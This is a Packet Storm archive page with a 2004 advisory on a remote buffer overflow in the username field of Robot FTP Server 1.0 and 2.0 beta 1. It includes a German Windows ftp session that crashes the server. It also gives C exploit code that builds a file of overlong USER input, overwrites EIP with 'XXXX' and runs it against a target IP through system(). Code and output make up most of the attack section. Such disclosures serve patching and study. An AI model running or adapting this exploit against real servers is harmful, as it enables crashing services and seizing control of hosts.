what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

robotFTP.txt

robotFTP.txt
Posted Feb 16, 2004
Authored by gsicht

Robot FTP server versions 1.0 and 2.0 beta 1 have a buffer overflow vulnerability when taking in a username.

tags | exploit, overflow
SHA-256 | 9a44aad3f8e6c0db56451fda95fc12fc8be929e688de14d3ff9a4383aea86d72

robotFTP.txt

Change Mirror Download


Application: Robot FTP Server

http://www.robotftp.com/

Versions: 1.0/2.0 beta 1

Platforms: Windows NT

Bug: Buffer Overflow

Exploitation: remote

Date: 15 Feb 2004

Author: gsicht

e-mail: nothing.king@firemail.de



#######################################################################

1) Introduction

2) Bug

3) The Code

#######################################################################

===============

1) Introduction

===============

Quoute from the Robot ftp's website:

"RobotFTP server is an FTP server that will transform any windows computer into an FTP site and enable distribution of files to co-workers or friends.



Robotftp Server is extremely easy to setup and configure. You can create password protected or anonymous accounts, specify folders and files that are accessible for each account, and monitor activities of connected users."



#######################################################################

======

2) Bug

======

I found a buffer overflow vulnerability in Robotftp server in the username fiehlt that allowes remote command execution. I only found this vulnerability with the windows ftp client. It doesn't work with netcat or telnet.



C:\Dokumente und Einstellungen\Admin\Desktop>ftp localhost



220 Connected to RobotFTP Server

Benutzer (done:(none)): <AA...more than 47 A's...AA>

331 User name OK, send password as PASS

Kennwort:

530 User cannot log in

Anmeldung fehlgeschlagen.

ftp> Ungültiger Befehl

ftp> user <AA... about 2000 A's ...AA>

550 Access is denied

550 Access is denied

550 Access is denied

550 Access is denied

550 Access is denied

550 Access is denied

550 Access is denied

502 Command not implemented

Anmeldung fehlgeschlagen.

ftp> Ungültiger Befehl

CRASH!!!!!!

ftp> quit

C:\Dokumente und Einstellungen\Admin\Desktop>



#######################################################################

===========

3) The Code

===========

/******************************

this is example code for the vulnerability. It uses the windows ftp client to connect to a server

******************************/

#include <stdio.h>



char buffer[2500];

char cmd[50];



int main(int argc, char *argv[])

{

FILE *evil;



if(argv[1] == NULL)

{

printf("Usage: %s [IP]\n\n",argv[0]);

return 0;

}



memset(buffer,0x41,47);

memcpy(buffer+47,"\r\n",2);

memcpy(buffer+49,"crash",5);

memcpy(buffer+54,"\r\n",2);

memcpy(buffer+56,"USER ",5);

memset(buffer+61,0x41,1989);

memset(buffer+61+1989,0x58,4); // << overwrites the eip with XXXX

memcpy(buffer+65+1989,"\r\n",2);



sprintf(cmd,"ftp -s:ftp.txt %s",argv[1]);





if((evil = fopen("ftp.txt", "a+")) != NULL)

{

fputs(buffer, evil);

fclose(evil);

printf("- file written!\n");

}

else

{

fprintf(stderr, "ERROR: couldn't open ftp.txt!\n");

exit(1);

}

system(cmd);



}

/*******************************/

#######################################################################



Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close